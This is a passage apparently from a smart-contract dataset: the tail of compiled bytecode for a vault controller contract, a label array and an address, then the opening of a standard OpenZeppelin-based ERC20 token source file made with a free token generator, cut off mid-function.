d5b503573ffffffffffffffffffffffffffffffffffffffff166124d2565b6105986004803603606081101561086e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561259f565b6102da600480360360408110156108b157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516612eb7565b6102da600480360360408110156108ec57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135612f9c565b6102da6004803603602081101561092557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613069565b6102da6004803603606081101561095857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013582169160409091013516613136565b610352613240565b61035261325c565b610352613278565b610352600480360360408110156109b557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516613294565b6102da600480360360408110156109f057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356132c7565b6103526133d9565b6105986133f5565b6102da60048036036020811015610a3957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166133fb565b60035473ffffffffffffffffffffffffffffffffffffffff16331480610a93575060025473ffffffffffffffffffffffffffffffffffffffff1633145b610afe57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b6757600080fd5b505afa158015610b7b573d6000803e3d6000fd5b505050506040513d6020811015610b9157600080fd5b5051604080517f51cff8d900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301529151929350908616916351cff8d99160248082019260009290919082900301818387803b158015610c0757600080fd5b505af1158015610c1b573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c8857600080fd5b505afa158015610c9c573d6000803e3d6000fd5b505050506040513d6020811015610cb257600080fd5b50519050818111156111ec576000610cca8284613549565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d6020811015610d3e57600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060609160009173ffffffffffffffffffffffffffffffffffffffff8516916370a0823191602480820192602092909190829003018186803b158015610db657600080fd5b505afa158015610dca573d6000803e3d6000fd5b505050506040513d6020811015610de057600080fd5b5051600154909650610e0d9073ffffffffffffffffffffffffffffffffffffffff8a811691166000613594565b600154610e349073ffffffffffffffffffffffffffffffffffffffff8a8116911686613594565b600154604080517f085e2c5b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8b81166004830152868116602483015260448201889052606482018b9052600060848301819052925193169263085e2c5b9260a480840193919291829003018186803b158015610ec257600080fd5b505afa158015610ed6573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040908152811015610f1d57600080fd5b815160208301805160405192949293830192919084640100000000821115610f4457600080fd5b908301906020820185811115610f5957600080fd5b8251866020820283011164010000000082111715610f7657600080fd5b82525081516020918201928201910280838360005b83811015610fa3578181015183820152602001610f8b565b505050509050016040525050508093508192505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561109657818101518382015260200161107e565b50505050905001975050505050505050600060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b5050604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff871693506370a0823192506024808301926020929190829003018186803b15801561114457600080fd5b505afa158015611158573d6000803e3d6000fd5b505050506040513d602081101561116e57600080fd5b50519450858511156111e7576111848587613549565b935060006111a96127106111a3600d548861372290919063ffffffff16565b90613795565b90506111be846111b98784613549565b612285565b6005546111e59073ffffffffffffffffffffffffffffffffffffffff8681169116836137d7565b505b505050505b5050505050565b60025473ffffffffffffffffffffffffffffffffffffffff16331461127957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60035473ffffffffffffffffffffffffffffffffffffffff163314806112fd575060025473ffffffffffffffffffffffffffffffffffffffff1633145b61136857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff166351cff8d9826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b505050505050565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b60096020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b61dead81565b60035473ffffffffffffffffffffffffffffffffffffffff16331480611474575060025473ffffffffffffffffffffffffffffffffffffffff1633145b6114df57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f2173747261746567697374000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005b83518110156115ca5760005b83518110156115c15782600b600087858151811061150857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086848151811061155857fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff90811683529082019290925260400160002080547fffffffffffffffffffffffff000000000000000000000000000000000000000016929091169190911790556001016114ee565b506001016114e2565b50505050565b600b60209081526000928352604080842090915290825290205473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff16331461168957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff9182166000908152600c60209081526040808320939094168252919091522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff16331461178757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600d55565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117fc57600080fd5b505afa158015611810573d6000803e3d6000fd5b505050506040513d602081101561182657600080fd5b5051604080517f1f1fcd51000000000000000000000000000000000000000000000000000000008152905191925060009173ffffffffffffffffffffffffffffffffffffffff881691631f1fcd51916004808301926020929190829003018186803b15801561189457600080fd5b505afa1580156118a8573d6000803e3d6000fd5b505050506040513d60208110156118be57600080fd5b5051600154604080517f085e2c5b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff89811660048301528085166024830152604482018790526064820189905260006084830181905292519495509092169263085e2c5b9260a4808201939291829003018186803b15801561195157600080fd5b505afa158015611965573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160409081528110156119ac57600080fd5b8151602083018051604051929492938301929190846401000000008211156119d357600080fd5b9083019060208201858111156119e857600080fd5b8251866020820283011164010000000082111715611a0557600080fd5b82525081516020918201928201910280838360005b83811015611a32578181015183820152602001611a1a565b50505050905001604052505050508093505050509392505050565b60025473ffffffffffffffffffffffffffffffffffffffff16331480611a8a575060065473ffffffffffffffffffffffffffffffffffffffff1633145b611af557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff80821660009081526009602090815260408083205481517f722713f700000000000000000000000000000000000000000000000000000000815291519394169263722713f792600480840193919291829003018186803b158015611bb457600080fd5b505afa158015611bc8573d6000803e3d6000fd5b505050506040513d6020811015611bde57600080fd5b505192915050565b60035473ffffffffffffffffffffffffffffffffffffffff16331480611c23575060025473ffffffffffffffffffffffffffffffffffffffff1633145b611c8e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f2173747261746567697374000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8281166000908152600860205260409020541615611d2257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600560248201527f7661756c74000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff918216600090815260086020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b60035473ffffffffffffffffffffffffffffffffffffffff16331480611db2575060025473ffffffffffffffffffffffffffffffffffffffff1633145b611e1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f2173747261746567697374000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600c602090815260408083209385168352929052205460ff161515600114611ec357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f21617070726f7665640000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808316600090815260096020526040902054168015611f66578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611f3957600080fd5b505af1158015611f4d573d6000803e3d6000fd5b505050506040513d6020811015611f6357600080fd5b50505b5073ffffffffffffffffffffffffffffffffffffffff918216600090815260096020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b60025473ffffffffffffffffffffffffffffffffffffffff16331461204057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60025473ffffffffffffffffffffffffffffffffffffffff16331461210d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600c60209081526000928352604080842090915290825290205460ff1681565b60086020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff16331461223e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff80831660009081526009602090815260408083205481517f1f1fcd5100000000000000000000000000000000000000000000000000000000815291519416938492631f1fcd519260048082019391829003018186803b1580156122fc57600080fd5b505afa158015612310573d6000803e3d6000fd5b505050506040513d602081101561232657600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8082169085161461244b5773ffffffffffffffffffffffffffffffffffffffff8085166000818152600a6020908152604080832086861684529091529020549091169061238d9082866137d7565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156123f657600080fd5b505af115801561240a573d6000803e3d6000fd5b505050506040513d602081101561242057600080fd5b5051935061244573ffffffffffffffffffffffffffffffffffffffff831684866137d7565b5061246c565b61246c73ffffffffffffffffffffffffffffffffffffffff851683856137d7565b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156124b457600080fd5b505af11580156124c8573d6000803e3d6000fd5b5050505050505050565b60045473ffffffffffffffffffffffffffffffffffffffff16331461255857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f2174696d656c6f636b0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006002600054141561261357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600090815573ffffffffffffffffffffffffffffffffffffffff8086168083526008602090815260408085205488851680875282872054948752600984528287205490875282872054908616808852600b855283882091871680895291909452919095205494841694928416939192909116806126f357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f2173747261746567792d636f6e76657274657200000000000000000000000000604482015290519081900360640190fd5b604080517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101899052905173ffffffffffffffffffffffffffffffffffffffff8716916323b872dd9160648083019260209291908290030181600087803b15801561276e57600080fd5b505af1158015612782573d6000803e3d6000fd5b505050506040513d602081101561279857600080fd5b5050604080517fec1ebd7a000000000000000000000000000000000000000000000000000000008152905160009161284a91670de0b6b3a7640000916111a3918c9173ffffffffffffffffffffffffffffffffffffffff8c169163ec1ebd7a91600480820192602092909190829003018186803b15801561281857600080fd5b505afa15801561282c573d6000803e3d6000fd5b505050506040513d602081101561284257600080fd5b505190613722565b9050808473ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b15801561289357600080fd5b505afa1580156128a7573d6000803e3d6000fd5b505050506040513d60208110156128bd57600080fd5b50511015612926578573ffffffffffffffffffffffffffffffffffffffff1663d389800f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561290d57600080fd5b505af1158015612921573d6000803e3d6000fd5b505050505b604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815261dead6004820152602481018a9052905173ffffffffffffffffffffffffffffffffffffffff88169163a9059cbb9160448083019260209291908290030181600087803b15801561299d57600080fd5b505af11580156129b1573d6000803e3d6000fd5b505050506040513d60208110156129c757600080fd5b5050604080517feebeea4f00000000000000000000000000000000000000000000000000000000815260048101839052905173ffffffffffffffffffffffffffffffffffffffff86169163eebeea4f91602480830192600092919082900301818387803b158015612a3757600080fd5b505af1158015612a4b573d6000803e3d6000fd5b505050508973ffffffffffffffffffffffffffffffffffffffff1663095ea7b383836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612ac057600080fd5b505af1158015612ad4573d6000803e3d6000fd5b505050506040513d6020811015612aea57600080fd5b5050604080517f20dc27c200000000000000000000000000000000000000000000000000000000815233600482015273ffffffffffffffffffffffffffffffffffffffff8c811660248301528b81166044830152606482018490529151918416916320dc27c2916084808201926020929091908290030181600087803b158015612b7357600080fd5b505af1158015612b87573d6000803e3d6000fd5b505050506040513d6020811015612b9d57600080fd5b5050604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009173ffffffffffffffffffffffffffffffffffffffff8c16916370a0823191602480820192602092909190829003018186803b158015612c0f57600080fd5b505afa158015612c23573d6000803e3d6000fd5b505050506040513d6020811015612c3957600080fd5b5051604080517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152602482018490529151929350908c169163095ea7b3916044808201926020929091908290030181600087803b158015612cb757600080fd5b505af1158015612ccb573d6000803e3d6000fd5b505050506040513d6020811015612ce157600080fd5b5050604080517fb6b55f2500000000000000000000000000000000000000000000000000000000815260048101839052905173ffffffffffffffffffffffffffffffffffffffff88169163b6b55f2591602480830192600092919082900301818387803b158015612d5157600080fd5b505af1158015612d65573d6000803e3d6000fd5b5050505060008673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612dd257600080fd5b505afa158015612de6573d6000803e3d6000fd5b505050506040513d6020811015612dfc57600080fd5b5051604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101839052905191925073ffffffffffffffffffffffffffffffffffffffff89169163a9059cbb916044808201926020929091908290030181600087803b158015612e7757600080fd5b505af1158015612e8b573d6000803e3d6000fd5b505050506040513d6020811015612ea157600080fd5b505060016000559b9a5050505050505050505050565b60045473ffffffffffffffffffffffffffffffffffffffff163314612f3d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f2174696d656c6f636b0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff9182166000908152600c60209081526040808320939094168252919091522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b60035473ffffffffffffffffffffffffffffffffffffffff16331480612fd9575060025473ffffffffffffffffffffffffffffffffffffffff1633145b61304457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b61306573ffffffffffffffffffffffffffffffffffffffff831633836137d7565b5050565b60025473ffffffffffffffffffffffffffffffffffffffff1633146130ef57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60035473ffffffffffffffffffffffffffffffffffffffff16331480613173575060025473ffffffffffffffffffffffffffffffffffffffff1633145b6131de57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f2173747261746567697374000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff9283166000908152600a6020908152604080832094861683529390529190912080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b600a60209081526000928352604080842090915290825290205473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff82811660009081526008602052604090205416331461335c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f217661756c740000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600960205260408082205481517f2e1a7d4d000000000000000000000000000000000000000000000000000000008152600481018690529151931692632e1a7d4d9260248084019391929182900301818387803b1580156113d157600080fd5b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60035473ffffffffffffffffffffffffffffffffffffffff16331480613438575060025473ffffffffffffffffffffffffffffffffffffffff1633145b6134a357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f2173747261746567697374000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff80821660009081526009602090815260408083205481517f853828b6000000000000000000000000000000000000000000000000000000008152915194169363853828b693600480840194938390030190829087803b15801561351a57600080fd5b505af115801561352e573d6000803e3d6000fd5b505050506040513d602081101561354457600080fd5b505050565b600061358b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613864565b90505b92915050565b8015806136405750604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561361257600080fd5b505afa158015613626573d6000803e3d6000fd5b505050506040513d602081101561363c57600080fd5b5051155b613695576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180613ca16036913960400191505060405180910390fd5b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b300000000000000000000000000000000000000000000000000000000179052613544908490613915565b6000826137315750600061358e565b8282028284828161373e57fe5b041461358b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613c566021913960400191505060405180910390fd5b600061358b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506139ed565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052613544908490613915565b6000818484111561390d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156138d25781810151838201526020016138ba565b50505050905090810190601f1680156138ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6060613977826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16613a6c9092919063ffffffff16565b8051909150156135445780806020019051602081101561399657600080fd5b5051613544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c77602a913960400191505060405180910390fd5b60008183613a56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156138d25781810151838201526020016138ba565b506000838581613a6257fe5b0495945050505050565b6060613a7b8484600085613a83565b949350505050565b6060613a8e85613c4f565b613af957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310613b6357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101613b26565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613bc5576040519150601f19603f3d011682016040523d82523d6000602084013e613bca565b606091505b50915091508115613bde579150613a7b9050565b805115613bee5780518082602001fd5b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528651602484015286518793919283926044019190850190808383600083156138d25781810151838201526020016138ba565b3b15159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a264697066735822122083e0cb420a8bb7bb1120216c403a953fda870d88a1aae9a8f1d5b1762c1f1baf64736f6c634300060c0033
[ 16, 7, 5 ]
0xf232D123622F1900aE6D78a0E6C9aeB6316128Ad
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = 